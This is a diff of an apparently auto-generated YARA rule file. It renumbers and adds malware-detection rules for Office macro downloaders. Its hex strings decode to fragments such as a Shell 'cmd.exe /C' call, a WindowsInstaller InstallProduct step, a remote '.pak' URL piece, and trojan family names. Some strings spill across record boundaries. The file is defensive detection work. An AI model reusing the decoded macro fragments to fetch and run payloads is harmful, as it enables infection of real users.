"!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302536,7 +319019,7 @@ rule _InfrastructureShared_23210{ ((#a_4c_0 & 1)*21539+(#a_62_1 & 1)*17440+(#a_6f_2 & 1)*28279+(#a_79_3 & 1)*30568) >=4 } -rule _InfrastructureShared_23211{ +rule _InfrastructureShared_24496{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -302546,7 +319029,7 @@ rule _InfrastructureShared_23211{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23212{ +rule _InfrastructureShared_24497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -302557,7 +319040,7 @@ rule _InfrastructureShared_23212{ ((#a_53_0 & 1)*19747+(#a_75_1 & 1)*8193) >=1 } -rule _InfrastructureShared_23213{ +rule _InfrastructureShared_24498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -302568,7 +319051,7 @@ rule _InfrastructureShared_23213{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*17929) >=1 } -rule _InfrastructureShared_23214{ +rule _InfrastructureShared_24499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302579,7 +319062,7 @@ rule _InfrastructureShared_23214{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*29997) >=2 } -rule _InfrastructureShared_23215{ +rule _InfrastructureShared_24500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302591,7 +319074,7 @@ rule _InfrastructureShared_23215{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*8261+(#a_4d_2 & 1)*8448) >=3 } -rule _InfrastructureShared_23216{ +rule _InfrastructureShared_24501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302603,7 +319086,7 @@ rule _InfrastructureShared_23216{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*8240+(#a_22_2 & 1)*656) >=3 } -rule _InfrastructureShared_23217{ +rule _InfrastructureShared_24502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302615,7 +319098,7 @@ rule _InfrastructureShared_23217{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*840+(#a_48_2 & 1)*8993) >=3 } -rule _InfrastructureShared_23218{ +rule _InfrastructureShared_24503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 06 00 21 " @@ -302630,7 +319113,7 @@ rule _InfrastructureShared_23218{ ((#a_53_0 & 1)*19747+(#a_63_1 & 1)*29268+(#a_66_2 & 1)*28271+(#a_75_3 & 1)*14391+(#a_0d_4 & 1)*25960+(#a_20_5 & 1)*26113) >=3 } -rule _InfrastructureShared_23219{ +rule _InfrastructureShared_24504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302643,7 +319126,7 @@ rule _InfrastructureShared_23219{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*-28640+(#a_22_2 & 1)*27749+(#a_18_3 & 1)*-28640) >=4 } -rule _InfrastructureShared_23220{ +rule _InfrastructureShared_24505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -302654,7 +319137,7 @@ rule _InfrastructureShared_23220{ ((#a_53_0 & 1)*19747+(#a_5a_1 & 1)*16646) >=1 } -rule _InfrastructureShared_23221{ +rule _InfrastructureShared_24506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -302666,7 +319149,7 @@ rule _InfrastructureShared_23221{ ((#a_53_0 & 1)*19747+(#a_31_1 & 1)*29541+(#a_62_2 & 1)*21550) >=1 } -rule _InfrastructureShared_23222{ +rule _InfrastructureShared_24507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302678,7 +319161,7 @@ rule _InfrastructureShared_23222{ ((#a_53_0 & 1)*19747+(#a_61_1 & 1)*26670+(#a_65_2 & 1)*26958) >=3 } -rule _InfrastructureShared_23223{ +rule _InfrastructureShared_24508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -302693,7 +319176,7 @@ rule _InfrastructureShared_23223{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*28001+(#a_3a_2 & 1)*25956+(#a_42_3 & 1)*17226+(#a_28_4 & 1)*9472+(#a_1f_5 & 1)*-28626) >=6 } -rule _InfrastructureShared_23224{ +rule _InfrastructureShared_24509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -302708,7 +319191,7 @@ rule _InfrastructureShared_23224{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*290+(#a_00_2 & 1)*21581+(#a_63_3 & 1)*25452+(#a_2e_4 & 1)*25959+(#a_00_5 & 1)*1) >=6 } -rule _InfrastructureShared_23225{ +rule _InfrastructureShared_24510{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302719,7 +319202,7 @@ rule _InfrastructureShared_23225{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*144) >=2 } -rule _InfrastructureShared_23226{ +rule _InfrastructureShared_24511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -302734,7 +319217,7 @@ rule _InfrastructureShared_23226{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25189+(#a_53_2 & 1)*19747+(#a_00_3 & 1)*27757+(#a_64_4 & 1)*19813+(#a_72_5 & 1)*14918) >=6 } -rule _InfrastructureShared_23227{ +rule _InfrastructureShared_24512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -302746,7 +319229,7 @@ rule _InfrastructureShared_23227{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*27757+(#a_64_2 & 1)*19813) >=1 } -rule _InfrastructureShared_23228{ +rule _InfrastructureShared_24513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302758,7 +319241,7 @@ rule _InfrastructureShared_23228{ ((#a_54_0 & 1)*18467+(#a_22_1 & 1)*28016+(#a_65_2 & 1)*29285) >=3 } -rule _InfrastructureShared_23229{ +rule _InfrastructureShared_24514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -302771,7 +319254,7 @@ rule _InfrastructureShared_23229{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*30034+(#a_61_2 & 1)*285+(#a_65_3 & 1)*17772) >=3 } -rule _InfrastructureShared_23230{ +rule _InfrastructureShared_24515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -302783,7 +319266,7 @@ rule _InfrastructureShared_23230{ ((#a_53_0 & 1)*19747+(#a_22_2 & 1)*9729+(#a_28_3 & 1)*8769) >=5 } -rule _InfrastructureShared_23231{ +rule _InfrastructureShared_24516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302794,7 +319277,7 @@ rule _InfrastructureShared_23231{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*8819) >=2 } -rule _InfrastructureShared_23232{ +rule _InfrastructureShared_24517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302805,19 +319288,31 @@ rule _InfrastructureShared_23232{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*79) >=3 } -rule _InfrastructureShared_23233{ +rule _InfrastructureShared_24518{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " strings : $a_53_0 = {52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4f 39 37 4d 2f 4f 62 66 75 73 65 2e 41 43 50 21 4d 54 42 00 01 00 2a 01 53 68 65 6c 6c 20 28 22 63 6d 64 2e 65 78 65 20 2f 43 20 20 22 22 22 20 2b 20 63 65 6c } //19747 㩒牔橯湡潄湷潬摡牥伺㜹⽍扏畦敳䄮偃䴡䉔Ā⨀匁敨汬⠠挢摭攮數⼠⁃∠∢⬠挠汥 - $a_6c_1 = {20 2b 20 22 22 22 22 29 01 00 1e 01 2e 52 75 6e 20 63 65 6c 6c 76 61 6c 32 31 2e 4e 61 6d 65 20 26 20 63 65 6c 6c 76 61 6c 39 01 00 1d 01 6f 3a 5c 77 58 52 45 64 33 53 5c 72 33 62 54 5c 46 66 66 68 53 54 76 6a 68 2e 32 42 51 00 00 8f a6 00 00 05 00 05 00 05 00 21 23 4d 48 53 54 52 3a 4f 39 } //30316 - $a_44_2 = {6e 6f 66 66 2e 41 51 32 30 31 32 32 33 21 4d 54 42 00 01 00 07 01 3d 20 22 2a 22 0d 0a 01 00 17 02 20 3d 20 4d 69 64 28 90 02 20 2c 20 90 02 } //19767 + $a_6c_1 = {20 2b 20 22 22 22 22 29 01 00 1e 01 2e 52 75 6e 20 63 65 6c 6c 76 61 6c 32 31 2e 4e 61 6d 65 20 26 20 63 65 6c 6c 76 61 6c 39 01 00 1d 01 6f 3a 5c 77 58 52 45 64 33 53 5c 72 33 62 54 5c 46 66 66 68 53 54 76 6a 68 2e 32 42 51 00 00 8f a6 00 00 05 00 05 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a } //30316 + $a_6f_2 = {6e 6c 6f 61 64 65 72 3a 4f 39 37 4d 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 50 41 21 4d 54 42 00 01 00 0f 01 2e 49 6e 73 74 61 6c 6c 50 72 6f 64 75 63 74 01 00 2c 01 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 } //28257 condition: - ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*30316+(#a_44_2 & 1)*19767) >=3 + ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*30316+(#a_6f_2 & 1)*28257) >=3 } -rule _InfrastructureShared_23234{ +rule _InfrastructureShared_24519{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 4f 39 37 4d 2f 4d 61 74 61 6e 62 75 63 68 75 73 2e 50 41 21 4d 54 42 00 01 00 0f 01 2e 49 6e 73 74 61 6c 6c 50 72 6f 64 75 63 74 01 00 2c 01 3d 20 43 72 65 61 74 65 4f 62 6a 65 } //16675 + $a_22_1 = {69 6e 64 6f 77 73 49 6e 73 74 61 6c 6c 65 72 2e 49 6e 73 74 61 6c 6c 65 72 22 29 03 00 28 01 62 61 6e 6b 72 75 70 74 63 } //29795 + $a_69_2 = {6f 72 63 65 2e 63 6f 6d 2f 42 61 6e 6b 72 75 70 74 63 79 2f 64 62 2e 70 61 6b 00 00 8f a6 00 00 05 00 05 00 05 00 21 23 4d 48 53 54 52 3a 4f 39 37 4d 2f 44 6f 6e 6f 66 66 2e 41 51 32 30 31 32 32 33 21 4d 54 42 00 01 00 07 01 3d 20 22 2a 22 0d 0a 01 00 17 02 20 3d 20 4d 69 64 28 90 02 20 2c 20 90 02 } //11641 + condition: + ((#a_46_0 & 1)*16675+(#a_22_1 & 1)*29795+(#a_69_2 & 1)*11641) >=5 + +} +rule _InfrastructureShared_24520{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -302831,7 +319326,7 @@ rule _InfrastructureShared_23234{ ((#a_53_0 & 1)*19747+(#a_20_1 & 1)*28494+(#a_00_2 & 1)*49+(#a_45_3 & 1)*15619+(#a_61_4 & 1)*26946) >=5 } -rule _InfrastructureShared_23235{ +rule _InfrastructureShared_24521{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -302841,7 +319336,7 @@ rule _InfrastructureShared_23235{ ((#a_6f_0 & 1)*21539) >=1 } -rule _InfrastructureShared_23236{ +rule _InfrastructureShared_24522{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -302852,7 +319347,7 @@ rule _InfrastructureShared_23236{ ((#a_53_0 & 1)*19747+(#a_22_1 & 1)*27938) >=1 } -rule _InfrastructureShared_23237{ +rule _InfrastructureShared_24523{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302864,7 +319359,7 @@ rule _InfrastructureShared_23237{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*28755+(#a_28_2 & 1)*24946) >=3 } -rule _InfrastructureShared_23238{ +rule _InfrastructureShared_24524{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -302876,7 +319371,7 @@ rule _InfrastructureShared_23238{ ((#a_53_0 & 1)*19747+(#a_74_1 & 1)*28277+(#a_70_2 & 1)*12109) >=3 } -rule _InfrastructureShared_23239{ +rule _InfrastructureShared_24525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 09 00 21 " @@ -302894,7 +319389,7 @@ rule _InfrastructureShared_23239{ ((#a_53_0 & 1)*19747+(#a_3d_1 & 1)*10+(#a_00_2 & 1)*2573+(#a_20_3 & 1)*8192+(#a_61_4 & 1)*27758+(#a_74_5 & 1)*27765+(#a_76_6 & 1)*26469+(#a_77_7 & 1)*17518+(#a_63_8 & 1)*29285) >=3 } -rule _InfrastructureShared_23240{ +rule _InfrastructureShared_24526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -302907,7 +319402,7 @@ rule _InfrastructureShared_23240{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*23664+(#a_65_2 & 1)*268+(#a_61_3 & 1)*28530) >=4 } -rule _InfrastructureShared_23241{ +rule _InfrastructureShared_24527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -302924,7 +319419,7 @@ rule _InfrastructureShared_23241{ ((#a_53_0 & 1)*19747+(#a_6c_1 & 1)*28277+(#a_6e_2 & 1)*28484+(#a_22_3 & 1)*28265+(#a_64_4 & 1)*28524+(#a_90_5 & 1)*1026+(#a_50_6 & 1)*21076+(#a_65_7 & 1)*17184) >=8 } -rule _InfrastructureShared_23242{ +rule _InfrastructureShared_24528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -302934,7 +319429,7 @@ rule _InfrastructureShared_23242{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_23243{ +rule _InfrastructureShared_24529{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -302944,7 +319439,7 @@ rule _InfrastructureShared_23243{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_23244{ +rule _InfrastructureShared_24530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -302956,7 +319451,7 @@ rule _InfrastructureShared_23244{ ((#a_53_0 & 1)*19747+(#a_28_1 & 1)*25445+(#a_65_2 & 1)*16687) >=1 } -rule _InfrastructureShared_23245{ +rule _InfrastructureShared_24531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -302967,7 +319462,7 @@ rule _InfrastructureShared_23245{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*11837) >=2 } -rule _InfrastructureShared_23246{ +rule _InfrastructureShared_24532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 02 00 21 " @@ -302978,7 +319473,7 @@ rule _InfrastructureShared_23246{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*8744) >=3 } -rule _InfrastructureShared_23247{ +rule _InfrastructureShared_24533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 02 00 21 " @@ -302989,7 +319484,7 @@ rule _InfrastructureShared_23247{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*25904) >=3 } -rule _InfrastructureShared_23248{ +rule _InfrastructureShared_24534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303001,7 +319496,7 @@ rule _InfrastructureShared_23248{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*20226+(#a_50_2 & 1)*19759) >=3 } -rule _InfrastructureShared_23249{ +rule _InfrastructureShared_24535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303012,7 +319507,7 @@ rule _InfrastructureShared_23249{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*17250) >=3 } -rule _InfrastructureShared_23250{ +rule _InfrastructureShared_24536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -303027,7 +319522,7 @@ rule _InfrastructureShared_23250{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*29285+(#a_00_2 & 1)*8+(#a_72_3 & 1)*14930+(#a_33_4 & 1)*27749+(#a_65_5 & 1)*24940) >=6 } -rule _InfrastructureShared_23251{ +rule _InfrastructureShared_24537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,08 00 08 00 08 00 21 " @@ -303044,7 +319539,7 @@ rule _InfrastructureShared_23251{ ((#a_53_0 & 1)*19747+(#a_64_1 & 1)*30066+(#a_64_2 & 1)*20289+(#a_90_3 & 1)*29537+(#a_4d_4 & 1)*21076+(#a_4c_5 & 1)*262+(#a_74_6 & 1)*25971+(#a_90_7 & 1)*1538) >=8 } -rule _InfrastructureShared_23252{ +rule _InfrastructureShared_24538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -303054,7 +319549,7 @@ rule _InfrastructureShared_23252{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_23253{ +rule _InfrastructureShared_24539{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,33 00 33 00 08 00 21 " @@ -303071,7 +319566,7 @@ rule _InfrastructureShared_23253{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*270+(#a_00_2 & 1)*-28928+(#a_00_3 & 1)*-28928+(#a_00_4 & 1)*-28928+(#a_00_5 & 1)*-28928+(#a_00_6 & 1)*-28928+(#a_00_7 & 1)*-28928) >=51 } -rule _InfrastructureShared_23254{ +rule _InfrastructureShared_24540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -303081,7 +319576,7 @@ rule _InfrastructureShared_23254{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_23255{ +rule _InfrastructureShared_24541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 05 00 21 " @@ -303094,7 +319589,7 @@ rule _InfrastructureShared_23255{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*27756+(#a_65_2 & 1)*25167+(#a_61_3 & 1)*27758) >=1 } -rule _InfrastructureShared_23256{ +rule _InfrastructureShared_24542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 07 00 21 " @@ -303110,7 +319605,7 @@ rule _InfrastructureShared_23256{ ((#a_53_0 & 1)*19747+(#a_6f_1 & 1)*269+(#a_61_2 & 1)*27758+(#a_41_3 & 1)*27756+(#a_6f_4 & 1)*26473+(#a_65_5 & 1)*29486+(#a_61_6 & 1)*27758) >=1 } -rule _InfrastructureShared_23257{ +rule _InfrastructureShared_24543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -303121,7 +319616,7 @@ rule _InfrastructureShared_23257{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*17664) >=2 } -rule _InfrastructureShared_23258{ +rule _InfrastructureShared_24544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303133,7 +319628,7 @@ rule _InfrastructureShared_23258{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*24937+(#a_64_2 & 1)*28524) >=3 } -rule _InfrastructureShared_23259{ +rule _InfrastructureShared_24545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303145,7 +319640,7 @@ rule _InfrastructureShared_23259{ ((#a_53_0 & 1)*19747+(#a_66_1 & 1)*24937+(#a_54_2 & 1)*8516) >=3 } -rule _InfrastructureShared_23260{ +rule _InfrastructureShared_24546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303158,7 +319653,7 @@ rule _InfrastructureShared_23260{ ((#a_53_0 & 1)*19747+(#a_2c_1 & 1)*12619+(#a_39_2 & 1)*10274+(#a_20_3 & 1)*29285) >=4 } -rule _InfrastructureShared_23261{ +rule _InfrastructureShared_24547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 05 00 21 " @@ -303171,7 +319666,7 @@ rule _InfrastructureShared_23261{ ((#a_53_0 & 1)*19747+(#a_72_1 & 1)*307+(#a_00_3 & 1)*6+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_23262{ +rule _InfrastructureShared_24548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 05 00 21 " @@ -303185,7 +319680,7 @@ rule _InfrastructureShared_23262{ ((#a_53_0 & 1)*19747+(#a_2d_1 & 1)*771+(#a_00_2 & 1)*12079+(#a_61_3 & 1)*25205+(#a_02_4 & 1)*8302) >=6 } -rule _InfrastructureShared_23263{ +rule _InfrastructureShared_24549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,06 00 06 00 06 00 21 " @@ -303200,7 +319695,7 @@ rule _InfrastructureShared_23263{ ((#a_53_0 & 1)*19747+(#a_53_1 & 1)*5120+(#a_20_2 & 1)*8295+(#a_22_3 & 1)*12851+(#a_6f_4 & 1)*28279+(#a_01_5 & 1)*11778) >=6 } -rule _InfrastructureShared_23264{ +rule _InfrastructureShared_24550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -303211,7 +319706,7 @@ rule _InfrastructureShared_23264{ ((#a_53_0 & 1)*19747+(#a_01_1 & 1)*11779) >=1 } -rule _InfrastructureShared_23265{ +rule _InfrastructureShared_24551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 03 00 21 " @@ -303223,7 +319718,7 @@ rule _InfrastructureShared_23265{ ((#a_77_0 & 1)*19491+(#a_65_1 & 1)*25167+(#a_31_2 & 1)*11380) >=2 } -rule _InfrastructureShared_23266{ +rule _InfrastructureShared_24552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303235,7 +319730,7 @@ rule _InfrastructureShared_23266{ ((#a_43_0 & 1)*19747+(#a_73_1 & 1)*25705+(#a_02_2 & 1)*8236) >=3 } -rule _InfrastructureShared_23267{ +rule _InfrastructureShared_24553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303248,7 +319743,7 @@ rule _InfrastructureShared_23267{ ((#a_46_0 & 1)*16675+(#a_4f_1 & 1)*16674+(#a_65_2 & 1)*17198+(#a_69_3 & 1)*12579) >=4 } -rule _InfrastructureShared_23268{ +rule _InfrastructureShared_24554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 01 00 21 " @@ -303258,7 +319753,7 @@ rule _InfrastructureShared_23268{ ((#a_46_0 & 1)*16675) >=5 } -rule _InfrastructureShared_23269{ +rule _InfrastructureShared_24555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 01 00 21 " @@ -303268,7 +319763,7 @@ rule _InfrastructureShared_23269{ ((#a_53_0 & 1)*19747) >=1 } -rule _InfrastructureShared_23270{ +rule _InfrastructureShared_24556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,02 00 02 00 02 00 21 " @@ -303279,7 +319774,7 @@ rule _InfrastructureShared_23270{ ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*2818) >=2 } -rule _InfrastructureShared_23271{ +rule _InfrastructureShared_24557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303291,7 +319786,7 @@ rule _InfrastructureShared_23271{ ((#a_53_0 & 1)*19747+(#a_02_1 & 1)*11824+(#a_22_2 & 1)*15648) >=3 } -rule _InfrastructureShared_23272{ +rule _InfrastructureShared_24558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 04 00 21 " @@ -303304,7 +319799,7 @@ rule _InfrastructureShared_23272{ ((#a_6c_0 & 1)*16675+(#a_20_1 & 1)*8304+(#a_50_2 & 1)*21076+(#a_22_3 & 1)*17408) >=3 } -rule _InfrastructureShared_23273{ +rule _InfrastructureShared_24559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -303316,7 +319811,7 @@ rule _InfrastructureShared_23273{ ((#a_53_0 & 1)*19747+(#a_30_1 & 1)*-28626+(#a_35_2 & 1)*-28638) >=1 } -rule _InfrastructureShared_23274{ +rule _InfrastructureShared_24560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303328,7 +319823,7 @@ rule _InfrastructureShared_23274{ ((#a_43_0 & 1)*19747+(#a_6e_1 & 1)*26996+(#a_6f_2 & 1)*26979) >=3 } -rule _InfrastructureShared_23275{ +rule _InfrastructureShared_24561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,05 00 05 00 06 00 21 " @@ -303342,7 +319837,7 @@ rule _InfrastructureShared_23275{ ((#a_53_0 & 1)*19747+(#a_76_2 & 1)*29264+(#a_54_3 & 1)*8514+(#a_30_4 & 1)*-28560+(#a_2e_5 & 1)*656) >=5 } -rule _InfrastructureShared_23276{ +rule _InfrastructureShared_24562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303354,7 +319849,7 @@ rule _InfrastructureShared_23276{ ((#a_53_0 & 1)*19747+(#a_00_1 & 1)*144+(#a_45_2 & 1)*17411) >=3 } -rule _InfrastructureShared_23277{ +rule _InfrastructureShared_24563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303366,7 +319861,7 @@ rule _InfrastructureShared_23277{ ((#a_53_0 & 1)*19747+(#a_6b_1 & 1)*28503+(#a_72_2 & 1)*25697) >=3 } -rule _InfrastructureShared_23278{ +rule _InfrastructureShared_24564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,03 00 03 00 03 00 21 " @@ -303378,7 +319873,7 @@ rule _InfrastructureShared_23278{ ((#a_53_0 & 1)*19747+(#a_54_1 & 1)*8819+(#a_45_2 & 1)*29522) >=3 } -rule _InfrastructureShared_23279{ +rule _InfrastructureShared_24565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,04 00 04 00 04 00 21 " @@ -303391,7 +319886,7 @@ rule _InfrastructureShared_23279{ ((#a_53_0 & 1)*19747+(#a_76_1 & 1)*29264+(#a_72_2 & 1)*29298+(#a_6d_3 & 1)*29541) >=4 } -rule _InfrastructureShared_23280{ +rule _InfrastructureShared_24566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 02 00 21 " @@ -303402,7 +319897,7 @@ rule _InfrastructureShared_23280{ ((#a_53_0 & 1)*19747+(#a_90_1 & 1)*15650) >=1 } -rule _InfrastructureShared_23281{ +rule _InfrastructureShared_24567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACROHSTR_EXT,01 00 01 00 03 00 21 " @@ -303414,7 +319909,7 @@ rule _InfrastructureShared_23281{ ((#a_53_0 & 1)*19747+(#a_65_1 & 1)*28238+(#a_6a_2 & 1)*29268) >=1 } -rule _InfrastructureShared_23282{ 